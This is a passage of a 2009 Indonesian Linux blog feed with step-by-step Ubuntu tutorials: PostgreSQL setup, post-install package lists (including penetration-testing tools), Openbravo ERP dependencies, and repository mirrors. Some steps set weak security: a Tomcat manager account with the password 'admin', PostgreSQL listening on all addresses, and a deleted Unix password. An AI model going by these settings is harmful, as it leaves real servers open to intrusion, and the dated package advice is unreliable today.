		<dc:creator>Mas Rony</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[PostgreSQL 8.4]]></category>

		<guid isPermaLink="false">http://www.masrony.com/?p=320</guid>
		<description><![CDATA[
Untuk menginstall Database PostgreSQL di Ubuntu OS tidaklah sulit, apalagi ubuntu udah menyediakan package-packagenya. Mungkin yang perlu diperhatikan hanyalah langkah-langkahnya, berikut adalah langkah-langkah menginstall Databas PostgreSQL:

Langkah pertama adalah menginstall PostgreSQL Server disini saya menggunakan PostgreSQL Server 8.4, untuk mendapatkan packagenya bisa menggunakan Synaptic Package Manager

→ Quick Search with key “postgresql”
maka akan muncul nama-nama package yang [...]]]></description>
			<content:encoded><![CDATA[<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --></p>
<p style="margin-bottom: 0in">Untuk menginstall Database PostgreSQL di Ubuntu OS tidaklah sulit, apalagi ubuntu udah menyediakan package-packagenya. Mungkin yang perlu diperhatikan hanyalah langkah-langkahnya, berikut adalah langkah-langkah menginstall Databas PostgreSQL:</p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --></p>
<p style="margin-bottom: 0in">Langkah pertama adalah menginstall PostgreSQL Server disini saya menggunakan PostgreSQL Server 8.4, untuk mendapatkan packagenya bisa menggunakan Synaptic Package Manager</p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --></p>
<blockquote><p>→ Quick Search with key “postgresql”</p></blockquote>
<p>maka akan muncul nama-nama package yang tersedia di ubuntu</p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --></p>
<blockquote><p>→ postgresql-server-dev-8.4</p></blockquote>
<p>pilih <em>mark for installation</em> lalu <em>Applay </em><span style="font-style: normal">maka secara otomatis proses installasi akan berjalan dengan sendirinya.</span></p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --></p>
<p style="margin-bottom: 0in">Langkah berikutnya adalah install PostgreSQL Client, PostgreSQL Contrib &amp; Install PgAdmin3, pada intalasi berikut bisa dilakukan melalui Synaptic atau langsung melalui <span id="more-320"></span>command seperti berikut:</p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --></p>
<blockquote><p>→ $ sudo apt-get install postgresql postgresql-client postgresql-contrib</p>
<p>→ $ sudo apt-get install pgadmin3</p></blockquote>
<p style="margin-left: 0.57in;text-indent: -0.3in;margin-bottom: 0in">ket: Baris pertama untuk menginstall paket postgresql dan paket-paket yang lain yang dibutuhkan, sedangkan dibaris berikutnya menginstall pgadmin yaitu Graphical User Interface untuk PostgreSQL Admin.</p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --></p>
<p style="margin-bottom: 0in">Setelah proses instalasi berhasil, yang perlu diperhatikan adalah melakukan reset password postgres (account administrator). Ketik perintah berikut dalam command:</p>
<p><!-- 		@page { margin: 0.20in } 		P { margin-bottom: 0.03in } --></p>
<blockquote><p>→ $ sudo su postgres -c psql</p>
<p>→ postgres=# ALTER USER postgres WITH PASSWORD &#8216;passwordku&#8217;;</p>
<p>→ postgres=# \q</p></blockquote>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } -->perintah tersebut akan merubah password postgres menjadi passwordku, dan sekarang waktunya menyamakan password unix untuk user postgres.</p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --></p>
<blockquote><p>→ $ sudo passwd -d postgres</p>
<p>→ $ sudo su postgres -c passwd</p></blockquote>
<p>masukkan password yang sama dengan tadi, dalam hal ini passwordku(minimal 6 Digit). Setelah itu agar pgAdmin bisa masuk ke database server menggunakan user postgres, kita harus men set-up PostgreSQL admin pack. caranya jalankan perintah berikut dalam command line</p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --></p>
<blockquote><p>→$ sudo su postgres -c psql &lt; /usr/share/postgresql/8.4/contrib/adminpack.sql</p></blockquote>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } -->Kemudia atur konfigurasi postgresql.conf</p>
<blockquote><p>→ $ sudo gedit /etc/postgresql/8.4/main/postgresql.conf</p></blockquote>
<p>ganti baris berikut:</p>
<p>#listen_addresses = ‘localhost’</p>
<p>menjadi</p>
<p>listen_addresses = ‘*’</p>
<p>dan juga baris :</p>
<p>#password_encryption = on</p>
<p>menjadi</p>
<p>password_encryption = on</p>
<p>Simpan dan tutup gedit.</p>
<p>Langkah terakhir adalah menentukan siapa saja yang berhak masuk ke dalam server dengan mengedit file pg_hba.con</p>
<blockquote><p>$ sudo gedit /etc/postgresql/8.4/main/pg_hba.conf</p></blockquote>
<p>pastikan isi file seperti berikut</p>
<blockquote><p># DO NOT DISABLE!</p>
<p># If you change this first entry you will need to make sure that the</p>
<p># database</p>
<p># super user can access the database using some other method.</p>
<p># Noninteractive</p>
<p># access to all databases is required during automatic maintenance</p>
<p># (autovacuum, daily cronjob, replication, and similar tasks).</p>
<p>#</p>
<p># Database administrative login by UNIX sockets</p>
<p>local all postgres ident sameuser</p>
<p># TYPE DATABASE USER CIDR-ADDRESS METHOD</p></blockquote>
<blockquote><p># “local” is for Unix domain socket connections only</p>
<p>local all all md5</p>
<p># IPv4 local connections:</p>
<p>host all all 127.0.0.1/32 md5</p>
<p># IPv6 local connections:</p>
<p>host all all ::1/128 md5</p></blockquote>
<blockquote><p># Connections for all PCs on the subnet</p>
<p>#</p>
<p># TYPE DATABASE USER IP-ADDRESS IP-MASK METHOD</p>
<p>host all all [ip address] [subnet mask] md5</p></blockquote>
<p>Ganti [ip address] denga alamat ip dari komputer yang diperbolehkan masuk ke dalam server database, seperti 192.168.1.5 dan [subnet mask] dengan subnet jaringan kita. Jika ingin yang terkoneksi dari semua ip yang ada dalam subnet, anda bisa memberi ip address dengan subnet address seperti 192.168.1.0 maka semua ip 192.168.1.x</p>
<p>dan langkah yang terakhir adalah merestart Server PostgreSQL dengan perintah:</p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --></p>
<blockquote><p>→ $ sudo /etc/init.d/postgresql-8.4 restart</p></blockquote>
<p>Selesai sudah, Semoga bermanfaat.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.masrony.com/2009/11/install-database-postgresql-8-4-di-ubuntu-9-10/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>First Time Install Ubuntu</title>
		<link>http://www.masrony.com/2009/11/first-time-install-ubuntu/</link>
		<comments>http://www.masrony.com/2009/11/first-time-install-ubuntu/#comments</comments>
		<pubDate>Wed, 11 Nov 2009 04:12:22 +0000</pubDate>
		<dc:creator>Mas Rony</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[install ubuntu]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.masrony.com/?p=273</guid>
		<description><![CDATA[Apa yang anda lakukan ketika pertama kali melakukan fresh install ubuntu ?
Setelah melakukan update ke repository terdekat biasanya ada beberapa package yang perlu diinstall untuk kenyamanan kita menggunakan ubuntu, diantaranya :
1. Ubuntu extras

 $ sudo aptitude install sudo aptitude install ubuntu-restricted-extras build-essential gwget xchat python-glade2 usb-imagewriter pidgin mozilla-thunderbird filezilla wine youtube-dl httrack webhttrack xchm

2. Software [...]]]></description>
			<content:encoded><![CDATA[<p>Apa yang anda lakukan ketika pertama kali melakukan fresh install ubuntu ?<br />
Setelah melakukan update ke repository terdekat biasanya ada beberapa package yang perlu diinstall untuk kenyamanan kita menggunakan ubuntu, diantaranya :<br />
1. Ubuntu extras</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%; overflow: auto;">
<pre> $ sudo aptitude install sudo aptitude install ubuntu-restricted-extras build-essential gwget xchat python-glade2 usb-imagewriter pidgin mozilla-thunderbird filezilla wine youtube-dl httrack webhttrack xchm</pre>
</div>
<p>2. Software Packager</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%; overflow: auto;">
<pre> $ sudo aptitude install unace rar unrar zip unzip p7zip-full p7zip-rar sharutils aish uudeview mpack lha arj cabextract file-roller</pre>
</div>
<p>3. More fonts</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%; overflow: auto;">
<pre> $ sudo aptitude install msttcorefonts ttf-larabie-straight ttf-larabie-deco xfonts-terminus-dos xfonts-terminus xfonts-terminus-oblique xfonts-mona ttf-farsiweb ttf-opensymbol ttf-freefont ttf-dustin ttf-devanagari-fonts ttf-dejavu-extra ttf-dejavu-core ttf-dejavu ttf-bpg-georgian-fonts ttf-alee</pre>
</div>
<p><span id="more-273"></span>4. Multimedia</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%; overflow: auto;">
<pre> $ sudo aptitude install vlc audacious mpeg2dec a52dec mpg321 mpg123 libswfdec0.3 libflac++6 ffmpeg cdda2wav libmp4v2-0 libmjpegtools0c2a tagtool easytag id3tool lame lame-extras nautilus-script-audio-convert libmad0 libjpeg-progs libmpcdec3 libquicktime1 flac faac faad sox toolame a52dec ffmpeg2theora libmpeg2-4 uudeview flac libmpeg3-1 mpeg3-utils mpegdemux imagemagick</pre>
</div>
<p>Tips pake image magick sekali tebang bisa edit banyak foto :<br />
resize by lebar photo :</p>
<pre style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;"> $ for k in $(ls *.JPG); do convert $k -resize 1024 -quality 90 $k; done</pre>
<p>kalo resize by tinggi photo :</p>
<pre style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;"> $ for k in $(ls *.JPG); do convert $k -resize x768 -quality 90 $k; done</pre>
<p>dah&#8230; tips ini berguna waktu edit foto2 lawas yang udah bergiga2 di HD Ext, so sekali jalan.. wuss&#8230;. bisa hemat space smp 2gb. Mayan tooohh&#8230;.</p>
<p>5. Flash</p>
<pre style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;"> $ sudo aptitude install gsfonts gsfonts-x11 flashplugin-nonfree</pre>
<p>6. Java</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%; overflow: auto;">
<pre> $ sudo aptitude install sun-java6-bin sun-java6-fonts sun-java6-jdk sun-java6-plugin</pre>
</div>
<pre style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;"> $ sudo update-alternatives --config java</pre>
<p>7. IDE for Java and Python</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre> $ sudo aptitude install netbeans eclipse spe vim</pre>
</div>
<p>8. Virtual Box<br />
Apabila ingin menambah package virtual box, tambahkan repository di /etc/apt/source.list (kebetulan saya menggunakan ubuntu karmic koala, apabila anda menggunakan versi lain silahkan disesuaikan) :</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre># Virtual Box
deb http://www.virtualbox.org/debian karmic non-free</pre>
</div>
<p>Kemudian masukkan public key dari domain tersebut :</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%; overflow: auto;">
<pre> $ wget -q http://download.virtualbox.org/virtualbox/debian/sun_vbox.asc -O- | sudo apt-key add -</pre>
</div>
<p>Update source list :</p>
<pre style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;"> $ sudo aptitude update</pre>
<p>Install Virtual Box :</p>
<pre style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;"> $ sudo aptitude install virtualbox-3.0 dkms bridge-utils</pre>
<p>Note : setting virtual network vbox di ubuntu supaya bisa konek ke network lokal maupun internet disarankan menggunakan adapter type : Intel PRO 1000 MT (Desktop) dan attached to : NAT</p>
<p>9. Google Chrome / Chromium &#8211; web browser<br />
Tambahkan list repository di /etc/apt/source.list dengan :</p>
<pre style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">deb http://ppa.launchpad.net/chromium-daily/ppa/ubuntu karmic main
deb-src http://ppa.launchpad.net/chromium-daily/ppa/ubuntu karmic main</pre>
<p>Tambahkan GPG key :</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%; overflow: auto;">
<pre> $ sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 0xfbef0d696de1c72ba5a835fe5a9bf3bb4e5e17b5</pre>
</div>
<p>Update source list :</p>
<pre style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;"> $ sudo aptitude update</pre>
<p>Install google chrome :</p>
<pre style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;"> $ sudo aptitude install chromium-browser</pre>
<p>10. Open Project &#8211; Project Management Tools<br />
Download open project dari sourceforge di :</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%; overflow: auto;">
<pre> http://sourceforge.net/projects/openproj/files/OpenProj%20Binaries/1.4/openproj_1.4-2.deb/download</pre>
</div>
<p>Abis itu?? ya langsung double click aja&#8230; nda usah pake console2an <img src='http://www.masrony.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /><br />
11. Penetration testing, incident response, and computer forensics</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%; overflow: auto;">
<pre> $ sudo aptitude install kismet aircrack-ng wireshark nmap dsniff autopsy nikto ophcrack aterm nessusd nessus nessus-plugins</pre>
</div>
<p>Package aterm (xterm emulator) dibuat supaya aplikasi-aplikasi berbasis cli (command line interface) dapat dibuat executable dari pulldown menu ubuntu.<br />
Buat satu file /usr/bin/spy-term :</p>
<pre style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;"> $ sudo vim /usr/bin/spy-term</pre>
<p>Masukkan baris berikut :</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%; overflow: auto;">
<pre>#!/bin/sh
/usr/bin/aterm -tint yellow -tr -trsb -sh 10 -cr green +sb -sl 1000 -title "Autopsy Shell" -fg White -e /usr/bin/autopsy</pre>
</div>
<p>Setelah filenya disimpan, buat file tersebut executable :</p>
<pre style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;"> $ sudo chmod +x /usr/bin/psy-term</pre>
<p>Buat satu menu tersendiri dari menu <strong>S</strong>ystem -&gt; <strong>P</strong>references -&gt; <strong>M</strong>ain Menu, dan buatlah shortcut menu dengan memilih Application dan memanggil /usr/bin/psy-term. Selamat mencoba dan berkreasi&#8230;<br />
Apabila ingin menambah dengan metasploit, silahkan dilihat <a href="http://www.masrony.com/tag/metasploit/">disini</a><br />
Untuk instalasi Apache web server beserta databasenya (MySQL) juga sudah pernah saya tulis, silahkan dilihat <a href="http://www.masrony.com/2009/03/21/simple-wordpress-installation/">disini</a><br />
Ada yang ingin menambahkan??</p>
<p><strong><em>Update 19 Februari 2010 :</em></strong><br />
Beberapa waktu yang lalu ada pertanyaan dari teman, gimana supaya linux (baca: ubuntu) bisa disandingkan dengan media center-nya microsoft. It&#8217;s easy step i guess :</p>
<pre style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">  $ sudo add-apt-repository ppa:team-xbmc
  $ sudo apt-get update
  $ sudo apt-get install xbmc xbmc-standalone
  $ sudo apt-get update</pre>
<p>Apabila muncul error &#8220;E: Broken package&#8221; pada saat instalasi, aktifkan menu <em>&#8220;Community-maintained open Source software (universe)&#8221;</em> dan <em>&#8220;Software restricted by copyright or legal issues (multiverse)&#8221;</em> dari menu <em><strong>S</strong></em><em>ystem</em> &#8211;&gt; <em><strong>A</strong></em><em>dministration</em> &#8211;&gt; <em><strong>S</strong></em><em>oftware Sources</em>.<br />
Nah silahkan direview hasilnya karena saya sendiri belum kelar coba-coba xbmc tersebut.. cayoo <img src='http://www.masrony.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.masrony.com/2009/11/first-time-install-ubuntu/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Install Openbravo ERP di Ubuntu Jaunty</title>
		<link>http://www.masrony.com/2009/06/install-openbravo-erp-di-ubuntu-jaunty/</link>
		<comments>http://www.masrony.com/2009/06/install-openbravo-erp-di-ubuntu-jaunty/#comments</comments>
		<pubDate>Wed, 24 Jun 2009 13:39:35 +0000</pubDate>
		<dc:creator>Mas Rony</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[crm]]></category>
		<category><![CDATA[erp]]></category>
		<category><![CDATA[install openbravo]]></category>
		<category><![CDATA[openbravo]]></category>

		<guid isPermaLink="false">http://www.masrony.com/?p=265</guid>
		<description><![CDATA[Langkah-langkah instalasi Openbravo ERP dan dependensinya di Ubuntu. Langkah instalasi ini diinstall di environment Jaunty desktop dan disarankan menggunakan memory 1GB.
a. PostgreSQL
- Install paket postgreSQL :
$ sudo aptitude install postgresql-8.3 postgresql-contrib-8.3
- Ubah password root postgresql :
$ sudo su &#8211; postgres -c psql
postgres=# alter role postgres with password &#8216;new_password&#8217;;
postgres=# \q
b. Sun Java (JDK)
- Install paket instalasi [...]]]></description>
			<content:encoded><![CDATA[<p>Langkah-langkah instalasi Openbravo ERP dan dependensinya di Ubuntu. Langkah instalasi ini diinstall di environment Jaunty desktop dan disarankan menggunakan memory 1GB.<br />
a. PostgreSQL<br />
- Install paket postgreSQL :<br />
$ sudo aptitude install postgresql-8.3 postgresql-contrib-8.3<br />
- Ubah password root postgresql :<br />
$ sudo su &#8211; postgres -c psql<br />
postgres=# alter role postgres with password &#8216;new_password&#8217;;<br />
postgres=# \q</p>
<p>b. Sun Java (JDK)<br />
- Install paket instalasi java JDK:<br />
$ sudo aptitude install sun-java6-jdk<br />
- Set Sun Java JDK sebagai default JDK:<br />
$ sudo update-java-alternatives -s java-6-sun<br />
- Buat variable JAVA_HOME:<br />
$ sudo echo &#8216;JAVA_HOME=&#8221;/usr/lib/jvm/java-6-sun&#8221;&#8216; | sudo tee -a /etc/environment<br />
- Supaya variabel ini bisa langsung digunakan tulis :<br />
$ source /etc/environment<br />
<span id="more-265"></span><br />
c. Apache-tomcat<br />
- Install paket apache tomcat :<br />
$ sudo aptitude install tomcat6 tomcat6-admin<br />
- Cek port running tomcat. Apabila apache webserver sudah terinstall di port 80, biasanya tomcat akan running di port 8080, untuk memastikan dari firefox, buka http://localhost:8080 atau menggunakan tools nmap :<br />
$ sudo nmap -v -sS -A localhost<br />
- Set variabel CATALINA_HOME dan CATALINA_BASE :<br />
$ sudo echo &#8216;CATALINA_HOME=&#8221;/usr/share/tomcat6&#8243;&#8216; | sudo tee -a /etc/environment<br />
$ sudo echo &#8216;CATALINA_BASE=&#8221;/var/lib/tomcat6&#8243;&#8216; | sudo tee -a /etc/environment<br />
- Edit file /etc/default/tomcat6, dan tambahkan baris dibawah :<br />
JAVA_OPTS=&#8221;-Djava.awt.headless=true -Xms384M -Xmx512M -XX:MaxPermSize=256M&#8221;<br />
- Kopi tools.jar dari java class path :<br />
$ sudo cp $JAVA_HOME/lib/tools.jar /var/lib/tomcat6/lib/<br />
- Buat user manager dan account manager tomcat di /etc/tomcat6/tomcat-users.xml :<br />
<script>< ?xml version='1.0' encoding='utf-8'?>
    <tomcat -users>
      <role rolename="manager"/>
      <role rolename="admin"/>
      <user username="admin" password="admin" roles="admin,manager"/>
    </tomcat></script></p>
<p>d. Apache Ant<br />
- Install Apache Ant :<br />
$ sudo aptitude install ant ant-optional<br />
- Set home variable apache ant :<br />
$ sudo echo &#8216;ANT_HOME=&#8221;/usr/share/ant&#8221;&#8216; | sudo tee -a /etc/environment<br />
- Set variable ant_opts (32bit):<br />
$ sudo echo &#8216;ANT_OPTS=&#8221;-Xmx1024M&#8221;&#8216; | sudo tee -a /etc/environment<br />
- Apabila menggunakan 64bits bisa menggunakan perintah ini :<br />
$ sudo echo &#8216;ANT_OPTS=&#8221;-Xmx1024M -XX:MaxPermSize=128M&#8221;&#8216; | sudo tee -a /etc/environment<br />
&#8212;- Sebenarnya dah selesai tinggal install openbravo-nya, tapi lagi males banget untuk nulis.. hehehe&#8230;<br />
ntar aja update lagi deh&#8230;..</p>
]]></content:encoded>
			<wfw:commentRss>http://www.masrony.com/2009/06/install-openbravo-erp-di-ubuntu-jaunty/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Finally&#8230; Ubuntu 9.04 Jaunty Jackalope Muncul Juga</title>
		<link>http://www.masrony.com/2009/04/finally-ubuntu-904-jaunty-jackalope-muncul-juga/</link>
		<comments>http://www.masrony.com/2009/04/finally-ubuntu-904-jaunty-jackalope-muncul-juga/#comments</comments>
		<pubDate>Thu, 23 Apr 2009 17:27:12 +0000</pubDate>
		<dc:creator>Mas Rony</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[jaunty jackalope release]]></category>
		<category><![CDATA[ubunt 9.04 jaunty jackalope]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.masrony.com/?p=223</guid>
		<description><![CDATA[Setelah nunggu sepagian nggak nongol-nongol, akhirnya release resmi Ubuntu 9.04 dengan code name Jaunty Jackalope diumumkan. Release ini sesuai dengan janji pihak Ubuntu yang akan mengeluarkan release terbaru setiap 6 bulan sekali. Ya tepatnya hari ini tanggal 23 April 2009, tentunya waktu US sono, bukan Indonesia hehehe. Tentunya bagi para ubuntuer, ini adalah saat-saat yang [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><!-- .command { padding: 1em; border: 1px dashed #2f6fab; color: black; background-color: #f9f9f9; line-height: 1.1em; font-family: Courier New, Courier, mono; font-size: 12px; font-style: italic; } .system { color: black; font-family: Courier New, Courier, mono; font-size: 12px; font-style: italic; } .highlight { color: #FF0000; font-family: Georgia, "Times New Roman", Times, serif; font-size: 12px; text-decoration: underline; } -->Setelah nunggu sepagian nggak nongol-nongol, akhirnya release resmi Ubuntu 9.04 dengan code name <em>Jaunty Jackalope</em> diumumkan. Release ini sesuai dengan janji pihak Ubuntu yang akan mengeluarkan release terbaru setiap 6 bulan sekali. Ya tepatnya hari ini tanggal 23 April 2009, tentunya waktu US sono, bukan Indonesia hehehe. Tentunya bagi para ubuntuer, ini adalah saat-saat yang ditunggu-tunggu apalagi release ini menjanjikan banyak perubahan. Untuk change log release Jaunty Jackalope ini bisa dilihat di official website Ubuntu <a title="Jaunty Jackalope's Change Logs" href="https://lists.ubuntu.com/archives/jaunty-changes/" target="_blank">disini</a>.<br />
Saya pribadi sebenarnya ndak nunggu download iso-nya glondongan, cukup pengen upgrade aja dari intrepid ke jaunty, tapi nunggu sampai ready di <em>repository</em> lokal telkom aja. Biar ndak kroyokan download/upgrade apalagi secara bandwidth disini juga pas-pasan.<br />
Setelah ngecek berkali-kali, akhirnya release yang ditunggu keluar juga <img src='http://www.masrony.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Yukz langsung upgrade aja. Terserah mau pake cara yang mana. Kalau mau pake update manager :</p>
<ul style="text-align: justify;">$ update-manager -d</ul>
</p>
<p style="text-align: justify;">Sampai muncul gambar seperti dibawah ini :</p>
<p style="text-align: center;"><img class="aligncenter" title="Ubuntu Update Manager" src="http://i184.photobucket.com/albums/x99/ronevic/Blog/ubuntu904-upd-mgr.png" alt="" width="241" height="320" /></p>
<p><span id="more-223"></span></p>
<p style="text-align: justify;">Nah tuh kan.. muncul New distribution release &#8216;9.04&#8242; is avaliable. Tekan Upgrade dan ikuti wizard instalasinya sampai selesai.<br />
Cara yang lain dengan melakukan editing file sources.list di /etc/apt. Dengan menggunakan editor, ganti kata &#8220;intrepid&#8221; dengan &#8220;jaunty&#8221;, kemudian simpan, dan jalankan perintah berikut :</p>
<ul style="text-align: justify;">$ sudo aptitude update &amp;&amp; sudo aptitude full-upgrade &amp;&amp; sudo aptitude purge</ul>
</p>
<p style="text-align: justify;">Tinggal nunggu proses selesai aja.<br />
Kalo instalasi udah selesai, bisa kita liat release ubuntu kita yang baru :</p>
<ul style="text-align: justify;">$ sudo lsb_release -a</p>
<div style="margin: 10px auto; border: 1; background: #cccccc none repeat scroll 0% 0%;">
<pre>Distributor ID:	Ubuntu
Description:	Ubuntu 9.04
Release:	9.04
Codename:	jaunty</pre>
</div>
</ul>
<p style="text-align: justify;">Cayooo.. ayo dites menu-menunya nyookk&#8230;. sambil nunggu event JRE&#8230; sapa tau dapat door prizenya <img src='http://www.masrony.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.masrony.com/2009/04/finally-ubuntu-904-jaunty-jackalope-muncul-juga/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Repository Ubuntu Indonesia</title>
		<link>http://www.masrony.com/2009/03/repository-ubuntu-indonesia/</link>
		<comments>http://www.masrony.com/2009/03/repository-ubuntu-indonesia/#comments</comments>
		<pubDate>Sat, 21 Mar 2009 19:11:17 +0000</pubDate>
		<dc:creator>Mas Rony</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[mirror]]></category>
		<category><![CDATA[repo lokal]]></category>
		<category><![CDATA[repository]]></category>
		<category><![CDATA[source list]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.masrony.com/?p=193</guid>
		<description><![CDATA[Artikel ini saya ambil dari http://wiki.ubuntu-id.org/SourcesListLokal. Ya supaya besok-besok kalo repo yang biasa saya pake susah koneknya, gampang nyari yang lain. Berikut daftar repo lokal indonesia :
Repositori Kambing (UI &#8212; Telkom, Indosat, OpenIXP, INHERENT)
Informasi situs: http://kambing.ui.edu
### sources.list.kambing
### Repository dengan menggunakan server mirror kambing.ui.edu
### Untuk rilis lain selain gutsy silakan ganti semua kata gutsy
### dengan misalnya [...]]]></description>
			<content:encoded><![CDATA[<p>Artikel ini saya ambil dari <a title="repo ubuntu list" href="http://wiki.ubuntu-id.org/SourcesListLokal" target="_blank">http://wiki.ubuntu-id.org/SourcesListLokal</a>. Ya supaya besok-besok kalo repo yang biasa saya pake susah koneknya, gampang nyari yang lain. Berikut daftar repo lokal indonesia :</p>
<p>Repositori Kambing (UI &#8212; Telkom, Indosat, OpenIXP, INHERENT)<br />
Informasi situs: http://kambing.ui.edu</p>
<p>### sources.list.kambing<br />
### Repository dengan menggunakan server mirror kambing.ui.edu<br />
### Untuk rilis lain selain gutsy silakan ganti semua kata gutsy<br />
### dengan misalnya dapper atau feisty dsb<br />
## REPOSITORY UTAMA<br />
deb http://kambing.ui.edu/ubuntu gutsy main restricted universe multiverse<br />
deb-src http://kambing.ui.edu/ubuntu gutsy main restricted universe multiverse<br />
## INI UNTUK MAJOR BUG FIX UPDATES<br />
deb http://kambing.ui.edu/ubuntu gutsy-updates main restricted universe multiverse<br />
deb-src http://kambing.ui.edu/ubuntu gutsy-updates main restricted universe multiverse<br />
## INI UNTUK UBUNTU SECURITY UPDATES<br />
deb http://kambing.ui.edu/ubuntu gutsy-security main restricted universe multiverse<br />
deb-src http://kambing.ui.edu/ubuntu gutsy-security main restricted universe multiverse</p>
<p>Cara penggunaan:</p>
<p><span id="more-193"></span>wget http://arsip.ubuntu-id.org/berkas/sources.list.kambing<br />
sudo mv /etc/apt/sources.list /etc/apt/sources.list.original<br />
sudo cp sources.list.kambing /etc/apt/sources.list<br />
sudo apt-get update</p>
<p>Repositori CBN Mirror (OpenIXP)<br />
Informasi situs: http://mirror.cbn.net.id</p>
<p>### sources.list.cbn<br />
### Repository dengan menggunakan server mirror.cbn.net.id<br />
### Untuk rilis lain selain gutsy silakan ganti semua kata gutsy<br />
### dengan misalnya dapper atau feisty dsb<br />
## REPOSITORY UTAMA<br />
deb http://ubuntu.cbn.net.id/Ubuntu gutsy main restricted universe multiverse<br />
deb-src http://ubuntu.cbn.net.id/Ubuntu gutsy main restricted universe multiverse<br />
## INI UNTUK MAJOR BUG FIX UPDATES<br />
deb http://ubuntu.cbn.net.id/Ubuntu gutsy-updates main restricted universe multiverse<br />
deb-src http://ubuntu.cbn.net.id/Ubuntu gutsy-updates main restricted universe multiverse<br />
## INI UNTUK UBUNTU SECURITY UPDATES<br />
deb http://ubuntu.cbn.net.id/Ubuntu gutsy-security main restricted universe multiverse<br />
deb-src http://ubuntu.cbn.net.id/Ubuntu gutsy-security main restricted universe multiverse</p>
<p>Cara penggunaan:</p>
<p>wget http://arsip.ubuntu-id.org/berkas/sources.list.cbn<br />
sudo mv /etc/apt/sources.list /etc/apt/sources.list.original<br />
sudo cp sources.list.cbn /etc/apt/sources.list<br />
sudo apt-get update</p>
<p>Repositori Komo (OpenIXP)<br />
Informasi situs: http://komo.vlsm.org</p>
<p>### sources.list.komo<br />
### Repository dengan menggunakan server mirror komo.vlsm.org<br />
### Untuk rilis lain selain gutsy silakan ganti semua kata gutsy<br />
### dengan misalnya dapper atau feisty dsb<br />
## REPOSITORY UTAMA<br />
deb http://komo.vlsm.org/ubuntu gutsy main restricted universe multiverse<br />
deb-src http://komo.vlsm.org/ubuntu/ gutsy main restricted universe multiverse<br />
## INI UNTUK MAJOR BUG FIX UPDATES<br />
deb http://komo.vlsm.org/ubuntu gutsy-updates main restricted universe multiverse<br />
deb-src http://komo.vlsm.org/ubuntu gutsy-updates main restricted universe multiverse<br />
## INI UNTUK UBUNTU SECURITY UPDATES<br />
deb http://komo.vlsm.org/ubuntu gutsy-security main restricted universe multiverse<br />
deb-src http://komo.vlsm.org/ubuntu gutsy-security main restricted universe multiverse</p>
<p>Cara penggunaan:</p>
<p>wget http://arsip.ubuntu-id.org/berkas/sources.list.komo<br />
